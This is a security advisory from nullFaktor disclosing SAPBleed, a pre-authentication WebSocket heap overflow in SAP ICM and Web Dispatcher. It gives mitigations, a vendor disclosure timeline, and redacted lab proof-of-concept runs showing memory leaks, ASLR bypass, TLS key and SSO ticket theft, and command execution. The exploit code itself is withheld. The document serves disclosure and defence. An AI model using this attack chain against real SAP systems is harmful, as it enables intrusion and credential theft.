nullFaktor Security Advisory < 2026-11-12 >
===========================================================
Title: SAPBleed: Pre-Auth Process Memory Leak and RCE
in SAP ICM and Web Dispatcher, including the
internal Web Dispatcher in SAP HANA XS
Vulnerability: Heap Buffer Overflow / Memory Leak / RCE
CVE (ICM): CVE-2026-76964
CVE (Web Disp): CVE-2026-89126
Impact: Critical
CVSS 3.0 Score: 10.0 (both CVEs)
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Products: SAP NetWeaver AS ABAP (ICM); SAP Web Dispatcher;
SAP HANA XS (internal Web Dispatcher)
Affected Versions: See SAP Security Notes 3778530 and 3778556
Vendor Homepage: https://www.sap.com
SAP Note (ICM): 3778530
SAP Note (Web Disp): 3778556
Date: 2026-11-12
Author: Raschin Tavakoli | nullFaktor GmbH
https://www.nullfaktor.com
office () nullfaktor com
https://x.com/r4yzor9
https://x.com/_nullfaktor
Blog: https://nullfaktor.com/
blog/cve-2026-76964-cve-2026-89126-sapbleed
Short Summary
=============
SAPBleed is a pre-authentication memory-disclosure and RCE
vulnerability affecting SAP ICM, SAP Web Dispatcher, and SAP HANA XS.
An Internet-facing SAP Web Dispatcher, acting as a reverse proxy,
can forward the attack to an ICM in a protected backend network
segment. The WebSocket connection becomes a path for leaking
memory from that internal component over the Internet. Attackers can
repeatedly read selected ICM memory, potentially exposing SSO tickets
and private TLS keys. ICM-accessible shared memory also contains code
addresses from separate ABAP dialog work processes (disp+work), even
though those processes are not directly exposed to the Internet.
The ICM can remain running during the memory disclosure. Traffic can
travel over TLS-protected WebSocket connections, concealing the leaked
payload from network sensors without TLS visibility. Pre-authentication
code execution has also been demonstrated in both ICM and Web
Dispatcher.
Vendor description
==================
SAP SE is an enterprise software company headquartered in Walldorf,
Germany. Its products include enterprise resource planning (ERP)
software and business applications.
Vulnerability
=============
SAPBleed is a pre-authentication heap buffer overflow in the WebSocket
processing of SAP Internet Communication Manager (ICM) and SAP Web
Dispatcher, including Web Dispatcher deployments used with SAP HANA XS.
The flaw allows an unauthenticated attacker to corrupt WebSocket
connection state. Depending on how the corruption is exploited, the
affected process can disclose memory or be used for remote code
execution. The attack is carried over a WebSocket connection and can
reach affected services over HTTP or HTTPS, including TLS-encrypted
connections.
The memory disclosure occurs when corrupted connection state causes
the process to return heap contents beyond the data intended for its
response. A Web Dispatcher can be targeted directly, exposing memory
from its own process. Where affected traffic is forwarded to an ICM,
the ICM can also be targeted through the Web Dispatcher. Leaked process
memory may contain SSO tickets, cryptographic key material and process
addresses that enable a full ASLR bypass.
In our tested laboratory deployment, the research PoCs demonstrated:
- Direct disclosure of Web Dispatcher process memory, including its
own address information, enabling an ASLR bypass for that process.
- Repeatable reads of arbitrary ICM process memory, including when
the ICM was reached through a Web Dispatcher.
- Disclosure of ICM process addresses, enabling an ASLR bypass in
that process.
- Cross-process disclosure of code addresses belonging to separate
ABAP dialog work processes (DIA/disp+work), defeating their own
ASLR despite their separate process address spaces.
- Remote identification of the SAP kernel release, build and patch
level without SAP credentials.
- Extraction of the server's private TLS key from ICM memory.
- Extraction of a valid MYSAPSSO2 single sign-on ticket from active
authenticated traffic present in ICM memory.
The impact extends beyond the ICM: SAP shared memory visible to the ICM
contains code addresses from separate DIA work processes. Our PoC
recovered their module base addresses over the network before
authentication. This removes ASLR as a barrier for address-dependent
RCE flaws in those work processes as well.
A leaked SSO ticket may allow impersonation of its user while the
ticket remains valid. Exposure of a TLS private key compromises the
server's key material; the effect on past traffic depends on the TLS
configuration. Other secrets held in ICM memory may also be exposed,
depending on the system's workload and the data present at the time of
an attack.
SAPBleed is particularly critical because it exposes process memory
over the Internet before authentication. The disclosed process
addresses defeat ASLR in the affected processes. This can make other
memory-corruption flaws in those same processes exploitable when their
remote code execution path requires an otherwise unknown address.
Our SAP Overpass advisory (CVE-2026-44756), published September 10,
2026, illustrates this: its RCE proof required an independently
obtained module base address. SAPBleed can supply that address where
both issues affect the same ICM and can expose the corresponding
address for a DIA work process.
See:
https://nullfaktor.com/blog/cve-2026-44756-sap-netweaver-pre-auth-rce
Our research also established pre-authentication remote code execution
(RCE) in both ICM and Web Dispatcher. We engineered the ICM
memory-extraction path to restore a consistent execution state after
each read. In repeated laboratory runs, it extracted data reliably
without crashing the ICM or dialog work processes, including when
traffic passed through a Web Dispatcher. The services remained
available during those runs.
Further exploitation details are withheld from this version.
Tested Environment
==================
The issue was reproduced in a laboratory deployment of SAP NetWeaver AS
ABAP and SAP Web Dispatcher. Full build details are omitted from this
version.
Attack Scenario
===============
Any affected SAP system that exposes the vulnerable WebSocket path to
the Internet can be attacked before authentication. Placing a Web
Dispatcher in front of the ICM does not shield that backend: our lab
demonstrated that attack traffic can pass through the Internet-facing
proxy and disclose ICM process memory even when the ICM is not directly
reachable from the Internet. The Web Dispatcher can also be attacked
directly. No SAP credentials, prior session, or user interaction are
required.
Mitigation
==========
Install the corrections in SAP Security Notes 3778530 (ICM) and 3778556
(Web Dispatcher) at the fixed patch levels for each installed release.
As a temporary measure, disable WebSocket HTTP upgrades in the relevant
ICM and Web Dispatcher profiles with
icm/HTTP/support_websocket_upgrade=FALSE and restart the components.
This can disrupt functions that require WebSocket. SAP FAQ Note 3778788
provides further guidance on temporary workarounds. Until updates are
applied, restrict network access to affected systems.
Proof of Concept
================
The following excerpts are from our laboratory tests. All
attacks reach the target before authentication. SIDs and OS
user names have been redacted, and line wrapping has been
adjusted for readability.
SAPBleed Integrated Tool
-------------------------
The SAPBleed tool automates the full chain from initial memory
disclosure through ASLR bypass to secret extraction without attacker
credentials or a prior attacker session. The SSO test below uses
concurrent authenticated traffic from a separate lab client.
TLS private-key extraction (ICM PIE leak, kernel fingerprint,
TLS key recovery in one session):
$> python3 sapbleed.py secure-bank 50001 tls
SAPBleed Lab Demo
Target: secure-bank:50001
Authentication: none (pre-auth)
Operations: ICM PIE -> Kernel fingerprint -> TLS key
[CHECK] Connecting to ICM ... OK 00:01
[1/3] Leaking the ICM PIE base
[OK] ICM PIE: 0x*** 00:08
[2/3] Identifying the kernel build and patch level
[OK] ICM kernel 793, patch level 101
(read from the kernel patch table) 00:25
[3/3] Extracting the TLS private key
[OK] TLS private key extracted 00:28
Saved to: ~/.sapbleed/loot/tls_private_key.pem
RESULT: 3/3 operations succeeded
TOTAL TIME: 01:04
SSO ticket extraction (ICM PIE leak, kernel fingerprint, and
recovery of a MYSAPSSO2 ticket from concurrent victim traffic):
In one terminal, a victim sends authenticated HTTPS requests:
$> python3 victim_sim.py secure-bank 50001
Victim simulator: secure-bank:50001 every 0.3s
Ticket: ~/.sapbleed/victim_ticket.b64 (1164 characters)
Press Ctrl+C to stop.
[1] HTTP 200 (14259 bytes) AUTHENTICATED (ticket valid)
[2] HTTP 200 (14259 bytes) AUTHENTICATED (ticket valid)
[3] HTTP 200 (14259 bytes) AUTHENTICATED (ticket valid)
With that traffic running, the unauthenticated client extracts the
victim's sso ticket in another terminal:
$> python3 sapbleed.py secure-bank 50001 sso
SAPBleed Lab Demo
Target: secure-bank:50001
Authentication: none (pre-auth)
Operations: ICM PIE -> Kernel fingerprint -> SSO ticket
Loot: ~/.sapbleed/loot
SSO traffic: on non-productive systems, use victim_sim.py
to simulate SSO traffic
[CHECK] Connecting to ICM ... OK 00:01
[1/3] Leaking the ICM PIE base
[OK] ICM PIE: 0x*** 00:20
[2/3] Identifying the kernel build and patch level (icman)
[OK] ICM kernel 793, patch level 101
(read from the kernel patch table) 00:13
[3/3] Extracting an SSO ticket
[OK] SSO ticket extracted 00:29
Saved to: ~/.sapbleed/loot/mysapsso2_ticket.b64
RESULT: 3/3 operations succeeded
TOTAL TIME: 01:04
Artifacts:
~/.sapbleed/loot/mysapsso2_ticket.b64
Benchmark: ~/.sapbleed/loot/benchmark.json
Cross-process ASLR bypass (ICM PIE leak extended to DIA
work-process addresses via SAP shared memory):
$> python3 sapbleed.py secure-bank 50001 dia
SAPBleed Lab Demo
Target: secure-bank:50001
Authentication: none (pre-auth)
Operations: ICM PIE -> Kernel fingerprint
-> disp+work PIE
[CHECK] Connecting to ICM ... OK 00:01
[1/3] Leaking the ICM PIE base
[OK] ICM PIE: 0x*** 00:22
[2/3] Identifying the kernel build and patch level
[OK] ICM kernel 793, patch level 101
(read from the kernel patch table) 00:25
[3/3] Leaking the disp+work PIE base via shared memory
[OK] disp+work PIE: 0x*** 00:23
RESULT: 3/3 operations succeeded
TOTAL TIME: 01:12
1. Internet Communication Manager (ICM)
=======================================
1.1 Memory Disclosure (ICM Heap Leak)
---------------------------------------
The standalone pre-authentication heap-leak PoC returns a 16 KiB
WebSocket binary frame containing uninitialised ICM heap data. This
is one response, not a limit on the total disclosure: the ICM PoC tool
uses a ROP-based reader to read selected ICM memory
addresses over subsequent WebSocket connections. The ICM survives;
no PIE base or heap address is needed as input for the initial leak:
$> python3 poc-icm-websocket-heapleak.py secure-bank 50001
icman pre-auth wire-only heap leak
target: secure-bank:50001
(WebSocket connection)
[*] warming the allocator
(churning freed pointer-bearing chunks)...
[*] attempt 1/3
[+] WebSocket upgraded
[+] crafted frames altered connection state
[+] received 16390 bytes from icman
RESULT: OVER-READ FIRED - 16390 bytes of an
uninitialised icman heap buffer leaked to
the client (icman survives; pre-auth;
wire-only; no PIE/heap base used)
heap pointers leaked : 26
0x***
0x***
0x***
0x***
0x***
0x***
0x***
0x***
0x***
0x***
0x***
0x***
0x***
0x***
0x***
0x***
0x***
0x***
0x***
0x***
0x***
0x***
0x***
0x***
=> icman heap-arena base (estimate):
0x***
icman .text/PIE pointers leaked: 4
(=> ICM_BASE recoverable)
0x***
0x***
0x***
0x***
1.2 RIP Control (ICM)
-----------------------
The same vulnerability class provides instruction pointer
control in the ICM. Crafted WebSocket traffic overwrites
the dispatch callback in the per-connection structure.
The marker 0x414141414141 replaces the callback pointer:
$> python3 poc-icm-websocket-rip.py secure-bank 50001
[+] payload sent
The ICM crashes at the attacker-controlled address
(gdb attached to icman):
Program received signal SIGSEGV
(fault address: 0x414141414141).
---------------------------[ REGISTERS ]------------------
RAX 0
RBX 0x***
RCX 1
RDX 0x***
RDI 0x***
RSI 0x***
R8 0
R9 0
R10 0x4c
R11 0x*** (icm_param)
R12 0x***
R13 0x***
R14 2
R15 1
RBP 0x***
RSP 0x***
RIP 0x414141414141
---------------------------[ DISASM ]--------------------
Invalid address 0x414141414141
---------------------------[ STACK ]---------------------
00:0000| rsp 0x***
-> 0x***
(WebSocketReadFrame+***)
01:0008| 0x***
<- 0x***
02:0010| 0x*** <- 0
03:0018| 0x*** <- 0x6
04:0020| 0x*** <- 0
05:0028| 0x*** <- 0
06:0030| 0x*** <- 0
07:0038| 0x*** <- 0
--------------------------[ BACKTRACE ]-----------------
0 0x414141414141 None
1 0x***
WebSocketReadFrame+***
RIP is the attacker-supplied marker 0x414141414141. The
return address on the stack (WebSocketReadFrame+***)
confirms the hijacked dispatch callback originated in
the ICM's WebSocket frame reader.
1.3 Remote Code Execution (ICM)
---------------------------------
Using the PIE base obtained from the memory-disclosure
chain, the write primitive redirects control flow
through existing code to execute an attacker-supplied
shell command. The PIE base is the only prerequisite:
$> python3 poc-icm-websocket-rce.py \
secure-bank 50001 \
--pie-base 0x***
[+] payload sent
The command executes as the ICM OS user and creates a
proof file. Verified separately on the target:
$> ls -la /tmp/nf_icm_rce
-rw-r--r-- 1 *** sapsys 66 Nov 13 19:05
/tmp/nf_icm_rce
$> cat /tmp/nf_icm_rce
uid=***(***) gid=***(sapsys)
groups=***(sapsys),***(sapinst)
The file is owned by the ICM OS user, confirming
arbitrary command execution in the ICM process context.
2. Web Dispatcher
=================
2.1 RIP Control (Web Dispatcher)
----------------------------------
The same vulnerability class affects the Web Dispatcher's
own WebSocket processing. Crafted WebSocket traffic overwrites
the flush handler in the per-connection structure.
The marker 0x424242424242 replaces the handler pointer:
$> python3 poc-webdisp-websocket-rip.py \
secure-bank 43081 --marker 0x424242424242
[+] payload sent
The Web Dispatcher crashes at the attacker-controlled
address (pwndbg attached to sapwebdisp):
Program received signal SIGSEGV
(fault address: 0x424242424242).
---------------------------[ REGISTERS ]------------------
RAX 0x***
RBX 0
RCX 0
RDX 1
RDI 0x***
RSI 0x***
-> 0x*** /* '******' */
R8 0x*** (icm_param)
R9 0x***
R10 0x*** (ct_level) <- 1
R11 0x***
R12 0
R13 0x***
-> 0x*** /* '******' */
R14 0
R15 0x***
RBP 0x***
RSP 0x***
-> 0x***
(WebSocketReadFrameWebDisp+***)
RIP 0x424242424242
---------------------------[ DISASM ]--------------------
Invalid address 0x424242424242
---------------------------[ STACK ]---------------------
00:0000| rsp 0x***
-> 0x***
(WebSocketReadFrameWebDisp+***)
<- mov r14d, eax
01:0008| 0x***
<- 0x***
02:0010| 0x***
-> 0x***
03:0018| 0x***
-> 0x***
04:0020| 0x***
-> 0x***
05:0028| 0x***
-> 0x*** <- 0
06:0030| 0x***
-> 0x***
07:0038| 0x*** <- 8
--------------------------[ BACKTRACE ]-----------------
0 0x424242424242 None
1 0x***
WebSocketReadFrameWebDisp+***
2 0x***
WebSocketPlugInHandleNetData+***
3 0x***
IcmPlugInHandleNetData+***
4 0x***
IcmHandleNetRead+***
5 0x***
IcmWorkerHandleRequest+***
6 0x***
IcmWorkerThread+***
7 0x*** start_thread+***
RIP is the attacker-supplied marker 0x424242424242. The
return address on the stack (WebSocketReadFrameWebDisp+***)
confirms the hijacked indirect call originated in the Web
Dispatcher's WebSocket frame reader.
2.2 Remote Code Execution (Web Dispatcher)
--------------------------------------------
Using the PIE base obtained from the memory-disclosure
chain, the write primitive redirects control flow
through existing code to execute an attacker-supplied
shell command. The PIE base is the only prerequisite:
$> python3 poc-webdisp-websocket-rce.py \
secure-bank 43081 \
--pie-base 0x***
[+] payload sent
The command creates a proof file. Verified separately on
the target:
$> ls -la /tmp/nullfaktor_wd_rce
-rw-r--r-- 1 *** sapsys 66 Nov 11 21:28
/tmp/nullfaktor_wd_rce
The file is owned by the Web Dispatcher OS user,
confirming code execution in the Web Dispatcher process
context.
Timeline
========
Discovery and reporting:
nullFaktor GmbH discovered SAPBleed and reported it to SAP PSRT.
SAP acknowledged the Web Dispatcher case on June 29, 2026, and the
ICM case on July 6, 2026.
Initial response gap:
SAP acknowledged Web Dispatcher on June 29 and ICM on July 6, but
neither case had a substantive technical assessment by August 20.
That day, after 52 days for Web Dispatcher and 45 days for ICM, we
asked about the Web Dispatcher case. SAP apologized for the delay on
August 25. Its first Web Dispatcher assessment arrived on August 28;
the ICM severity assessment was still pending on September 15.
Web Dispatcher assessment (PSINC0012230):
SAP first rated the issue CVSS 5.3, availability only, although we
had proposed 10.0. Our September RCE PoC led SAP to raise it to 9.0.
Only after our later video and PoC tool demonstrated direct memory
disclosure and full ASLR bypass did SAP raise it to 10.0.
ICM assessment (PSINC0012395):
SAP said on September 15 that its assessment was still in progress.
On September 30, SAP acknowledged critical impact without stating a
numeric score. By October 16, SAP said ICM was already rated 10.0.
Release coordination:
We repeatedly asked SAP for the patch date and requested advance
details to prepare our advisory and inform customers and CERTs. On
September 23, we specifically requested two weeks' notice. SAP
replied to our messages but did not confirm a release date in those
replies. It first confirmed the November 10 release on November 9,
one calendar day beforehand. The requested preparation window was
not provided. This delayed our advisory and left insufficient
time to notify customers and CERTs before Patch Day.
2026-06-29 SAP PSRT -> nullFaktor
SAP acknowledges our report and opens the Web Dispatcher
case (PSINC0012230).
2026-07-06 SAP PSRT -> nullFaktor
SAP acknowledges the ICM case (PSINC0012395).
2026-08-06 nullFaktor -> SAP PSRT
After identifying a ticket mix-up, we ask whether the
SAPBleed Web Dispatcher case (PSINC0012230) or the
separate PSINC0012548 case is due for August 11.
2026-08-06 SAP PSRT -> nullFaktor
SAP says neither of those two cases is expected in August.
It gives no release date for the SAPBleed case.
2026-08-20 nullFaktor -> SAP PSRT
Neither SAPBleed case has a substantive assessment yet.
We ask specifically about Web Dispatcher, 52 days after
its ticket acknowledgement, and state our 90-day policy.
2026-08-20 SAP PSRT -> nullFaktor
SAP says the case owner is away until August 24.
2026-08-24 nullFaktor -> SAP PSRT
We acknowledge that reply and say we await the case
owner's response.
2026-08-25 SAP PSRT -> nullFaktor
SAP apologizes for the delay, promises to analyze the
case and provide an update.
2026-08-28 SAP PSRT -> nullFaktor
First substantive Web Dispatcher assessment, 60 days after
ticket acknowledgement: CVSS 5.3 (Medium), limited to
availability; ICM assessment still pending.
This reply provides no patch or publication date.
2026-09-10 nullFaktor -> SAP PSRT
We challenge the Web Dispatcher rating and provide our
ICM findings: pre-authentication RCE, memory disclosure
and an ASLR bypass. Direct Web Dispatcher RCE evidence
follows on September 21.
2026-09-14 SAP PSRT -> nullFaktor
SAP says it is reviewing our feedback with development
and will update us after assessing both tickets.
2026-09-15 SAP PSRT -> nullFaktor
SAP confirms the report was split into two cases. Based on
the PoCs submitted at that point, SAP maintains its Medium
Web Dispatcher rating and does not confirm direct memory
disclosure or RCE in that component.
2026-09-15 nullFaktor -> SAP PSRT
Citing late notice in previous cases, we ask SAP to tell us
about the patch ahead of release and provide the CVE,
affected versions, corrections and mitigations in time for
our customer communication and security advisory.
2026-09-16 SAP PSRT -> nullFaktor
SAP says the Patch Day is not yet set and that it will send
the publication date, CVE and final rating once settled.
2026-09-21 nullFaktor -> SAP PSRT
We send encrypted PoC material demonstrating RCE directly
in the Web Dispatcher.
2026-09-23 nullFaktor -> SAP PSRT
We ask whether both tickets will be patched on the October
Patch Day and explicitly request two weeks' advance notice
to prepare our publication.
2026-09-24 SAP PSRT -> nullFaktor
SAP says it cannot yet confirm the publication date.
2026-09-28 SAP PSRT -> nullFaktor
SAP confirms the Web Dispatcher RCE demonstrated by our
new PoC and raises its assessment to CVSS 9.0. It says it
will inform us when the Patch Day is known.
2026-09-30 SAP PSRT -> nullFaktor
SAP acknowledges critical impact in ICM but gives no
numeric ICM score in this message.
2026-10-13 nullFaktor -> SAP PSRT
We send an encrypted video and integrated PoC tool.
They demonstrate direct disclosure of Web Dispatcher
process memory, arbitrary process-memory reads through
ICM, and a full ASLR bypass in both components. The ICM
leak also exposes DIA work-process addresses and defeats
their ASLR. We also ask SAP to align CERT coordination and
its timeline with us.
2026-10-16 SAP PSRT -> nullFaktor
After reviewing our additional evidence, SAP preliminarily
raises Web Dispatcher to CVSS 10.0; it says ICM was already
rated 10.0. SAP says it will confirm the publication date
once the notes are officially scheduled.
2026-10-20 nullFaktor -> SAP PSRT
We ask whether SAP will patch on November 10 and request
the CVEs and Security Note details before Patch Day for our
customer advisory and CERT coordination.
2026-10-20 SAP PSRT -> nullFaktor
SAP says it cannot confirm a date before quality assurance
is complete and will update us once the date is finalized.
2026-10-30 nullFaktor -> SAP PSRT
We voluntarily extend our disclosure deadline to
December 8, giving SAP more than five months from the
first acknowledged report despite our 90-day policy.
2026-11-02 SAP PSRT -> nullFaktor
SAP acknowledges the extended deadline without committing
to a patch date and says it will update us once it has
clarity on the release.
2026-11-09 SAP PSRT -> nullFaktor
SAP tells us both notes will become public on November 10
and provides the CVE IDs and Security Note numbers.
2026-11-10 SAP -> public
Security Notes 3778556 and 3778530 become public.
2026-11-12 nullFaktor -> public
We publish the initial redacted advisory two days after
SAP's Patch Day.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
About nullFaktor
nullFaktor is an Austrian Cyber Security company offering services such
as Penetration Testing, Cyber Defense, and IT Security Consulting.
In addition, nullFaktor runs a dedicated SAP Security Division focused
on SAP Cyber Security. Services include SAP Penetration Testing as well
as strategic SAP Security Advisory.
Ongoing research activities strengthen nullFaktor's consulting and
assessment services by ensuring up-to-date knowledge of modern attack
vectors, misconfigurations, and pitfalls in secure architecture
patterns. This enables clients to make informed decisions and improve
their IT security posture based on real-world risk scenarios.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Want to strengthen your IT or SAP security posture?
Get in touch at https://www.nullfaktor.com/#kontakt
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Mail: office at nullfaktor dot com
Web: https://www.nullfaktor.com
Blog: https://www.nullfaktor.com/blog
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